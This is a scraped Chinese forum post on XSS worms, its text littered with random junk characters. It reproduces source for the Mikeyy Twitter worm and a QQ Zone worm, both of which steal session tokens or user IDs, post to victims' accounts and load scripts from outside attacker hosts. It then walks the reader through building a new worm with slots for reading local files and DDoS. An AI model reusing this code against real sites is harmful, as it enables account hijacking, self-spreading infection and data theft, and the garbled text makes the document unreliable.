* v9 h) T1 o* U4 s$ O第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""]; 4 }9 J* v2 `4 c# d. |/ X1 I, ]- Y
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2.
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3. function XHConn(){ 3 y7 u* c5 N- P
" U5 a2 C) j1 M+ o; D6 [8 b- _% V' } 4. var _0x6687x2,_0x6687x3=false;
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5 b: d0 }0 \8 B& w+ g2 ^ 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } . U2 {2 O" [' j! j) r* h
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6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } ) s& j, X. g6 Y9 S H: S4 i2 S/ Y
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7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); } ) `+ q$ G" ^+ G, @8 G; S
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8. catch(e) { _0x6687x2=false; }; }; }; l: v5 S9 Q# A/ h$ i) n
复制代码第六版: 1. function wait() {
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" B# w1 Z9 p1 \) V$ C 2. var content = document.documentElement.innerHTML;
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3. var tmp_cookie=document.cookie;
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. g+ A: r ], v4 t2 ?' W- ] 4. var tmp_posted=tmp_cookie.match(/posted/); ! ?' I* Q. z* g7 t1 M
6 s9 }6 C( y% M# w$ p% n$ i 5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g); : _& N: N ?- F1 R9 u, V/ [
% w% ]. O I$ U: L. j; L: L 6. var authtoken=authreg.exec(content); ?* _8 @' z! K
4 ?" ^1 g6 L! X# M 7. var authtoken=authtoken[1];
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8. var randomUpdate= new Array(); 7 R1 P& ]5 C6 A+ ^
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9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
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; D. z- n+ M2 u1 H# t+ o 10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; 4 [ a# ~( o% ~% x8 W
5 J# E$ V ]* ^4 c3 u 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
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7 ?4 G. B! R5 d+ s/ C& e 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
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13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy."; ( h3 }- ^" V! m8 _% ^7 U8 y; t- |" l
5 N: l \; f8 q% M$ g2 a 14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy."; + ^# [8 ] o' g" o
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15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
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16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
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17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy."; 9 I5 q# f- Q$ A- b# c+ l
2 A% d) ~5 O9 r$ b8 a+ B 18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; 9 k. o# w' U8 J" V2 B9 V) m/ K
5 f8 J2 U! X, N1 V" d3 u8 K7 ~$ k 19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; ( X/ C# X* u, g& W! n, j5 v, n
& i/ w* a+ L+ E7 k1 U9 k, Q 20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy."; % {! N& {+ N. s8 Z( t' H+ h! u
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21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe"; # f( F/ ?$ g' z2 D
9 V) A$ N! y7 e& Y" n. l: | 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF"; 4 m8 e* H' [1 }; k: e, i
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23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
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- E1 g% @) h8 P 24.
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3 E& H) ]# F7 g1 i2 L1 a7 u' z 25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)]; * }+ [% y0 k" A* w2 m s
2 k' o) z' o0 R5 N$ g 26. var updateEncode=urlencode(randomUpdate[genRand]); : w" O" h. z+ g3 K
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27. , H% H v4 d1 |
7 |+ c$ j m. U+ U" Y: ? 28. var ajaxConn= new XHConn();
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4 A( r( ^' m% C; @: g 29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
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30. var _0xf81bx1c="Mikeyy"; . R" \; w. [7 u* Z$ g
( W$ o2 L x% s6 s2 ~4 M 31. var updateEncode=urlencode(_0xf81bx1c);
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32. var ajaxConn1= new XHConn();
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33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); , O8 v6 {# M* B" c1 @1 h' z$ v7 `
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34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333"; 6 ?- i$ x* X$ r& b
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35. var XSS=urlencode(genXSS); , D) S& K N# X* m3 \
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36. var ajaxConn2= new XHConn();
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37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
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38. & Y% Z7 ^1 m7 p9 C9 T
& {# B) t5 P2 {& a$ K 39. } ; 9 |& N1 b; O, y; |1 Z( O1 a' X
. e8 x$ u9 z# B8 b 40. setTimeout(wait(),5250); % Z$ Y' F' J# M' I; E# I
复制代码QQ空间XSSfunction killErrors() {return true;}
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window.onerror=killErrors;- b# ?/ {8 F4 c, Y ^, ?% J
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var shendu;shendu=4;
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* ?7 u% I. t1 v: a; D7 N//---------------global---v------------------------------------------
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//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?
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var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
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( ?# b) }1 n: j% Kvar myblogurl=new Array();var myblogid=new Array();+ J* b5 ]( g5 T, W" `' K* c
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var gurl=document.location.href;
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var gurle=gurl.indexOf("com/");8 P) l r# F0 U& F1 C
4 m, v$ L3 I3 \ gurl=gurl.substring(0,gurle+3);
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3 e5 ]" ` I8 l var visitorID=top.document.documentElement.outerHTML;" r8 S4 E8 c8 a. t* B0 s7 W
- y' } n5 P0 O, [+ |. R. X var cookieS=visitorID.indexOf("g_iLoginUin = ");: t& m! K8 Y; R: `+ x% N
2 ?, Q& a; G. N visitorID=visitorID.substring(cookieS+14);
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cookieS=visitorID.indexOf(",");* ?* }9 g$ I7 C, X& u
$ l& A0 o. _. E. x% _3 { visitorID=visitorID.substring(0,cookieS);
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" v. b0 c$ J8 u: C8 C h2 D get_my_blog(visitorID);- y q- H6 c( F) @/ ~% P& n
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DOshuamy();
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& j9 {. g- f0 y0 ~1 E, j//挂马: \2 k( _ \4 t$ d5 Y* }; h, Q
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function DOshuamy(){
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var ssr=document.getElementById("veryTitle");7 {% b+ D3 s' \9 \2 c
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ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
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}
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//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?6 E' v# B: m9 A8 f9 n: j
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function get_my_blog(visitorID){
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userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";1 ^) l$ }9 o$ S3 `# i
; J# X9 Z# T6 P8 w% e xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象( d6 T. e: {, U7 {- F( s. R" O% Y
8 {7 f4 k6 P0 S# Y if(xhr){ //成功就执行下面的
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# T$ Z* Y8 f5 e2 B. H( Q xhr.open("GET",userurl,false); //以GET方式打开定义的URL
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xhr.send();guest=xhr.responseText;
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( y* m5 U, H; Q% d get_my_blogurl(guest); //执行这个函数2 w" n9 C% a% B
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}
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3 h; |3 U9 Q0 s4 Y0 m, }//这里似乎是判断没有登录的
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; u) f: X, A" M8 L6 Z) ?function get_my_blogurl(guest){
# I- k3 v) H% N' `0 w, i, u% s, E1 t( O; x+ M
var mybloglist=guest;
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/ l+ n' t$ Q& G7 F" j var myurls;var blogids;var blogide;9 x: x6 n4 T1 ?- ~$ F5 {3 u
- ?" C/ i5 W* p: w h8 b( m& i7 n2 ~ for(i=0;i<shendu;i++){8 F6 x8 L# e6 q7 @9 U5 A3 v& C
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myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了
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if(myurls!=-1){ //找到了就执行下面的; r+ Y2 S( n9 X% [. ~
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mybloglist=mybloglist.substring(myurls+11);+ P/ W. m- ~/ d! s( j
) x# f$ O) l) |6 E7 G6 | myurls=mybloglist.indexOf(')');/ H( k! H* [0 p7 r* Q
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myblogid=mybloglist.substring(0,myurls);# ?8 {) j7 a" T0 j7 E+ x7 v
& p2 W2 [* a) y% n) y- K+ ~ }else{break;}
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3 c* R1 ?) j( [5 J3 Z0 Yget_my_testself(); //执行这个函数2 J5 G. m, `9 }6 y7 w% S. z( ~3 h) a
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//这里往哪跳就不知道了
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function get_my_testself(){
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/ t' P# u8 R+ G+ h for(i=0;i<myblogid.length;i++){ //获得blogid的值/ O, Y4 F! u) y9 M8 O* Y6 Q7 D
2 A" ?2 x p" H; f/ P6 Q# \- p4 m
var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
0 ]6 C; t( \2 p, n6 I e( Q
! g8 P# z. i; x var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象+ ]. \ N& D3 V
" C& r# F/ g! f( G3 x4 \* Q
if(xhr2){ //如果成功+ G, M1 p+ d, r P0 g( O0 I
, H2 |7 R( ^7 x6 L
xhr2.open("GET",url,false); //打开上面的那个url) N6 e" z0 ^! S2 Z
5 W5 i% ?- C. | A% U' T xhr2.send();8 s5 L+ k/ T0 h# Q
4 C% K9 U: ~3 Y7 f* Q& K- k" f5 j guest2=xhr2.responseText;& P' u/ C7 v: }8 ?
# r( q: L% _3 W D* [) D( ?2 ? var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?
' ^" x. O! P: Y" ?& e. s& O$ ?. a U3 g9 V6 T6 l
var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串' x( O6 C# J' k+ L: J+ {# R
0 O9 }2 ^8 b' K) z2 u) d: ~ if(mycheckmydoit!="-1"){ //返回-1则代表没找到2 f6 u& D2 D1 H* X2 s, a) e$ O
) X& C1 L+ K+ v8 R4 _( {& K targetblogurlid=myblogid;
2 b' o: p+ f' u O8 z5 W2 x9 c6 @5 ~5 _( D" J* o# @! Y; S. t
add_jsdel(visitorID,targetblogurlid,gurl); //执行它
' d& z0 ]/ T% p0 o9 `6 e, B) I* N' v# i
break;
1 D& L0 R( m! e3 w2 F
$ Z0 x4 d4 A8 {6 ~3 G. i+ {& @ }' o% u! v) x0 t) r* I! N6 j4 d
3 k/ s, m8 ~5 \! t6 m6 D if(mycheckit=="-1"){
- N) {0 N' F& `* d0 }; d! p$ O3 p1 M' J3 H% S6 A& M- R$ ^: F
targetblogurlid=myblogid;) H! H) h6 s* u% E! i
4 D& L. p+ a7 i* L+ o* r. u1 K add_js(visitorID,targetblogurlid,gurl); //执行它
! H- x9 y9 K+ g+ [& \; Z; S( v% y. m! P
break;7 W# R: Z" D# i; I9 F
1 b7 }. ?: }6 ?4 W9 d8 f7 W" n }/ _; P+ S. C$ G) ?4 h
- [" s# o! a7 z5 r7 A& J6 n% A
}
% m" J, P' ?7 X$ A, ?$ E& U* t) J
2 y0 V9 m- E1 m1 h" Q+ e& D) j}
. [/ {- i+ q+ E8 A/ i8 i3 N2 o M4 Y' W! v
}
8 A% [' d0 l9 a% z' c- a5 D6 P& l
% ^9 P% E5 \! Y
8 ]) e4 a" J5 o O2 O0 l9 g0 [9 w+ O5 D. m, r2 x! }
//--------------------------------------
7 t0 E2 N0 k: n& Z& I) s% z2 w
1 v' V3 ~! [7 Z; J, v//根据浏览器创建一个XMLHttpRequest对象$ x6 Z1 x, _$ c: ~6 B# v
( F7 z0 V4 p3 q0 |# t* M. \/ P
function createXMLHttpRequest(){
: V6 m. E0 U- n$ J( X i& H2 U p9 [& m, n" i2 [! D N
var XMLhttpObject=null;
# ^+ ^- W! P0 c. r% [/ y- M" x8 g5 |7 F! Q
if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()} 2 M8 W. f: V8 x# l* r1 J8 Y, g3 i
) x8 W8 r' q1 o2 f0 O
else
8 e7 J2 q7 O# [* N& w8 D# {, d7 T w* D. N( r7 J* D
{ var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
- _3 t# q8 R4 ~4 A% u9 `& m: ~ |2 h6 W! Y" P+ V
for(var i=0;i<MSXML.length;i++) # k4 B$ e2 p Y. v7 @ ?
+ \9 v1 z% j/ v { 8 C. u& k, ^( \9 q' d" Z
6 P# t+ U) |, g+ V/ ^
try
, C6 s0 Q0 ^7 ~ a% s6 I, Z# P% `5 W1 A6 }& b
{ * K H1 k9 t# g X
$ \: H4 ^ x# R- i0 e8 I
XMLhttpObject=new ActiveXObject(MSXML);
2 w- L) x! g: m9 t+ c6 F& R% Y7 l. e% d9 F
break;
1 p* f; ]1 N" g, S1 K- L
% V9 M$ V, `; B, d/ D: j }
: z# j+ {& z$ b+ c9 i7 a$ w' w9 v1 ?- a
catch (ex) { ) w C4 U! t" h, g7 T
' X+ H" m, A' G: v
} , `- W" m2 X4 H/ `+ A* ?" I
* ~' R0 Y% k: A" c$ d
} ' U; `+ \8 b3 J
% P# k% {+ J6 ?9 J" K* a, ^7 ], s0 [
}
H9 o7 ~- |+ A8 I% n0 R& g) M; J" J% C4 a9 x4 @
return XMLhttpObject;
6 ?* p9 l5 d$ d8 P2 T+ j# \6 p2 t5 K$ S5 L, o) u$ f( C
}
) g+ T: Z/ W& P' q! Y" t3 I
' \+ o( j! K8 M, ~; n6 n R/ `0 H$ U! R! U! D
& u1 p3 e: c1 M9 W( p; w3 M1 [
//这里就是感染部分了
) K/ m8 S ^2 U& z. S% |4 n% Y$ _
* v+ e; B$ R( b5 C* K3 efunction add_js(visitorID,targetblogurlid,gurl){
( n7 o7 c# G) N2 Z$ b9 b4 b# X! B# Q! I4 o/ c
var s2=document.createElement('script');
! U0 D8 [4 D7 ?" h; d0 ^9 G3 E
8 t- C: r# Z9 g2 p8 ws2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
$ U" _6 r- R- T' T1 u- [4 {4 }( ^& ^* c o W. |0 _
s2.type='text/javascript';
; t. w$ e, [" y+ q l! {) ~$ J& u5 `' e# _7 V& ~/ v* n% L9 `2 h
document.getElementsByTagName('head').item(0).appendChild(s2);
, u3 e& e; R: ~% U3 ]4 c' a" Q. `# A
}3 V* Y/ z1 l9 ?' @, H
* d! l8 f8 d" h
1 ]( [2 B- N; A/ X, f# @# c" B3 u7 t/ }. D9 A8 i5 M
function add_jsdel(visitorID,targetblogurlid,gurl){" S( N+ ~, Q g
$ J+ g- U2 A$ t5 h) l# S' Wvar s2=document.createElement('script');
/ [4 C8 C9 l7 @: g4 d& F
& {, n, W- U+ C, is2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();1 S8 R* I: d$ F. u2 k( d
' X3 M) Y1 e7 O0 B: Gs2.type='text/javascript';
( C2 m( U$ ]- e1 U0 O$ u' U& t3 j" E2 b0 E+ Z2 h8 q. k
document.getElementsByTagName('head').item(0).appendChild(s2);+ F" r! U, H* w& u! G+ N- G& m* }; N
' L; P. ~# t* G8 \& H- Y! M+ ]
}6 Y3 t$ r) Z) e
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
. i2 E* c7 S6 l1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)1 t- y1 g3 V; N7 n; `" D3 i, o1 Y# ^
" T9 x }- H7 d9 P2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)9 O! z3 y* t( ]$ m0 q$ z% K
8 f! s) \" @$ U1 ^8 G综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
# ?8 }# A6 X( Y9 G
~) o. I" c! D' h! c/ b$ H
7 L9 I9 U: l. y9 Y- R+ g下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
# ^- _+ i! H3 v _. `! `5 n& @/ c0 t% u* h) Q
首先,自然是判断不同浏览器,创建不同的对象var request = false;- T" ]( T1 ~& c- d( C1 t2 K
0 {7 R; ]/ E: f0 k' N( Y% |if(window.XMLHttpRequest) {
V! X+ x9 C# l4 f0 t; P2 b
9 b- ^6 J6 K0 p6 E: b$ P" a9 d- Mrequest = new XMLHttpRequest();& e; |8 F' O+ M
( V$ P; K! g5 ~2 z# k' s# j7 P- Wif(request.overrideMimeType) {0 Y+ V! Z$ ~2 ?6 J j! V r
' B# H9 a' R8 `9 x6 O
request.overrideMimeType('text/xml');$ U0 J3 M# |& Z/ B1 ^
7 i0 D$ [" X1 [. {: @3 g
}
4 {+ e$ J5 n0 ]9 A+ V4 E$ t- @, @2 v& N! f
} else if(window.ActiveXObject) { n$ P% t. h7 R7 n8 L9 Y
& l z, y- d, s2 rvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];6 F3 O8 J: ]$ a" m2 {3 t* I$ p
# j( n F9 H- P
for(var i=0; i<versions.length; i++) {! {7 v* i. J) n3 {
$ [4 _( i$ c% Y0 }9 P) [try {1 ~9 s, k6 S3 X* G1 @
3 s( s/ p) G) q! i+ N
request = new ActiveXObject(versions);3 e3 v! k8 }6 W: W- F8 w) h) X* Q
1 Z8 X: ^& X- a) K5 p} catch(e) {}3 i, L4 `# }+ I7 ?% E4 a: D$ k! i
1 r& l: V8 P: X2 ?" w5 u% P
}
& ?( G) E4 C: b0 X* u% O$ v* [3 z7 X( V/ x1 N) z6 d" ^2 {6 z
}" Z, K) D+ A( ?% n3 W
- n+ w; A) u# @0 X4 K
xmlHttpReq=request;2 E ?7 G( ^5 a0 @2 i
复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){+ t# y/ ?4 A2 ]$ A
- [% E9 Q, d" G var Browser_Name=navigator.appName;2 z6 S& i, v0 ]* R
7 t7 m# K$ T( ^0 S! ?1 A
var Browser_Version=parseFloat(navigator.appVersion);
$ _* z- j9 Q) |; T- r5 x
- Y2 y7 M+ v/ c7 x& [. [ var Browser_Agent=navigator.userAgent;) G. {/ }& f2 s: Z
7 d; A; Y, Z( m* X( s 4 {0 Y S, L0 J5 t; ^, H5 [5 a
+ Z9 N. x4 P# \3 f9 E1 ~9 d var Actual_Version,Actual_Name;
8 x/ M% L% S$ u6 x: C& W# J2 E7 J8 C- T; q- h* [2 H
- F o* X. R, a: b' m
6 D4 T: e3 U) `# N& J6 ]( y var is_IE=(Browser_Name=="Microsoft Internet Explorer");1 ~. ` \6 W. j s( S7 ?( B
" K/ I* U/ s. }: o/ a4 c' I var is_NN=(Browser_Name=="Netscape");! p0 j* g6 S2 K
) L5 p/ r# l/ X+ F var is_Ch=(Browser_Name=="Chrome");
1 X! X: Q' Z% m% t& ]0 b$ I: P$ Q/ p1 Y4 q: z
9 w' ~8 X7 V1 {+ K: k. l6 m
: a# E9 U7 c) X! c/ l% {$ Y if(is_NN){
z' J3 Q9 X. r' l6 G; t/ x
- Z4 a( h% a) H# h if(Browser_Version>=5.0){
, p1 D& T8 H. y# s! Y+ s) V! H# B: N' i* f% S
var Split_Sign=Browser_Agent.lastIndexOf("/");- l! _! e; d+ W1 V- V9 L: u
% |' ~: c h0 a8 E% J var Version=Browser_Agent.indexOf(" ",Split_Sign);
1 H/ Y$ Q8 z! a4 E7 a% j
: c- ?5 _ H/ b4 P+ k var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);3 m5 E( W1 R4 J9 @( |" l: o
4 s+ ^9 `- J- T1 n- K
5 ]% s( K& t8 b0 c/ r* O
) d4 Z# V7 z8 h5 U# y$ D! H Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
' B: L) q. r; j* ~, z! B# q/ E: r8 Q# @, a5 q! k
Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
' X5 Y* w W3 z3 C+ M/ _
3 z v1 Y! Q1 Q1 a- h }3 ~9 d( D1 ~8 H" k3 ]7 p& t' a
6 z( I4 P# F( ~ else{5 `! U" B! P: J8 T0 H
, A! F o/ k4 S+ ]! g Actual_Version=Browser_Version;
4 y5 ~* p" G) o% h% ]
9 e# d8 q' |8 b Actual_Name=Browser_Name;
2 J' s% M+ p. N9 g0 R, a; s& o7 D" E2 o- V1 w
}
5 S* ~5 M6 D2 i. _* ^) d: E, _) W- t- q2 o# m+ e" s, y
}- c7 a7 D3 A& E& W6 O% d
4 q/ T% k+ B% ?" C
else if(is_IE){
/ ?% p( T i7 p
! W8 r8 ]2 z! j var Version_Start=Browser_Agent.indexOf("MSIE");
/ M& G6 x: d# b& u4 r! I% G! m6 F) |$ n1 A# a/ S( ?
var Version_End=Browser_Agent.indexOf(";",Version_Start);
- X! y9 v0 Z8 C- u. V7 B5 G% {( S/ D7 y+ B2 c6 p. M! q
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)* {6 U j( B& p; W
* Z4 [7 a! l6 i4 W4 B _ Actual_Name=Browser_Name;
+ }2 j5 E. s$ e4 g: a4 u8 ^5 O
6 ^- e6 S, z$ {" T9 ~, S
Y# t) ^; a- H$ R& r/ f0 M$ x! ]0 M. ?* P. w+ H
if(Browser_Agent.indexOf("Maxthon")!=-1){
# U5 @# @0 w! u s$ }' {" T& e1 p$ p2 Z8 I# A
Actual_Name+="(Maxthon)";
& Z8 f1 O/ P) R3 M3 N8 g, `
- H' j! Q, M- Q% D }( @' p) l- e) m$ G. A% o
0 X' {: u+ S# u. f( ^& E
else if(Browser_Agent.indexOf("Opera")!=-1){
" e1 q4 w2 b1 \3 G1 V$ D( M2 A4 v% O% |
Actual_Name="Opera";, Y' |7 w% O6 g: |2 T- i+ B6 e+ s
9 |+ [, B7 l9 [- N7 o var tempstart=Browser_Agent.indexOf("Opera");
3 C8 J3 u7 _* F M& |
0 n2 C: C. a, O0 d var tempend=Browser_Agent.length;
) ^- i) i8 ]0 T5 Y
6 W/ b, }& ^9 t" F2 U Actual_Version=Browser_Agent.substring(tempstart+6,tempend)2 k1 q2 T# ^" y' L2 h. D% B3 u; [5 ?
2 h$ } Q8 o4 {% W! g i0 K9 T/ ]
}
) h1 m" B* E0 S' W' [% u# C; p' r
, P$ R0 {% l' [ }
" E7 }1 ^& C- I& W u) A! ?+ x$ X3 x% x% b( ~, I2 H, P
else if(is_Ch){, g9 T, t' _7 I- G A% W
: m5 {$ B4 e1 e6 V var Version_Start=Browser_Agent.indexOf("Chrome");
- p, c4 A8 _+ f, `+ s3 l: }, D4 \ r
var Version_End=Browser_Agent.indexOf(";",Version_Start);
, F* Z: v* u" E" m. q6 b4 s$ m) Q# p) W
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)1 y) ?% i) l8 l! U
7 p: l* v1 o- L' y4 i$ w; p8 j Actual_Name=Browser_Name;
0 o: S7 \8 k' h( u; s% j% A! O# Y3 k9 i* L
2 G/ [, D0 `6 K( i3 L, D" K5 t* T1 a/ S. P, w2 o" ~+ K- d, U
if(Browser_Agent.indexOf("Maxthon")!=-1){4 _' y/ n3 h2 [3 h! s) e( J
7 E- a, Z7 B' H5 }" h0 b Actual_Name+="(Maxthon)";
1 k. h' h& X3 |+ S7 _
3 e% {+ t& e6 ^, K }
, a) [& @2 q$ H0 ~. T v6 y& P$ }: L5 P/ l) k
else if(Browser_Agent.indexOf("Opera")!=-1){
7 I. f$ w6 }$ Q( Y: g4 y; e5 t5 P5 d$ y Z9 _0 y7 g8 J) k5 f
Actual_Name="Opera";
4 ` Z, r5 E9 `* K' v& |0 _! a S' W) p( h# D# w
var tempstart=Browser_Agent.indexOf("Opera");8 Z- U+ q7 x, o5 D. e" ^5 P
1 p( z2 M; T* _3 K var tempend=Browser_Agent.length;3 R, x, I7 r# f0 E( l4 ~2 ^+ S) p
- a: w( X7 U; G: }- N: T Actual_Version=Browser_Agent.substring(tempstart+6,tempend)8 H# N/ M9 s9 N* D
$ C1 N0 p! u1 M+ m2 \1 G }
" \9 u: E; o2 K6 \! @
- v4 t" f2 s2 b! i+ ? }7 f! d0 ^' @8 g
1 R: l6 M% W( v" C
else{- w2 S8 U: P8 w5 p/ O
z% y* J; n x$ u1 Q) P. Y Actual_Name="Unknown Navigator"" |& X5 g6 l' o9 ~$ Z
2 Q; |& _3 Y$ W; F; f4 K) J! L
Actual_Version="Unknown Version") H" Y L D+ E8 ~5 {$ p
1 F4 l, O4 V2 l) s
}9 e& {( h0 q3 l& I' g
) e0 P, C* I& o" c% C- C; D' n4 z; h
5 J0 c5 v$ H7 t( O8 `4 [3 j4 J. R
navigator.Actual_Name=Actual_Name;
6 D* X9 G7 v- C7 Y5 V7 z0 L! D
navigator.Actual_Version=Actual_Version;
$ d F) _& L2 a" \+ u) o# O# f+ `, j8 w4 n. T7 a0 T/ R% G
; E2 q* p, e$ L1 ~ r
% G# K$ z+ n, R! o this.Name=Actual_Name;8 P8 s# d, }/ W3 G
3 h# n, i8 q7 l% D this.Version=Actual_Version;! d0 X- @ ~7 ~" _. n9 ^
) Y. Q9 z8 W* Q. I0 i9 W$ ?4 X }
' E( N5 T' Q7 X8 ~9 z( u( P8 w0 z3 G: B2 o5 [
browserinfo();
- o& @9 h8 W' t U3 Z9 H" i6 A* h8 Q- B9 \: L' v4 Z+ \
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
' D! ]7 B7 u0 x
# p8 R% q% `' T' K3 F3 x' y if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
# [4 q- C* ?3 m3 U; |4 S
* Y! v7 O4 x- _$ A+ h) x3 e if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
6 y/ [: x. z6 A. Z1 w* O" j) ]
( G: P3 ]" o! X& s O9 m% G if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
) P5 T9 b$ ]8 d/ a' [复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码4 d. s6 O/ C8 L
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
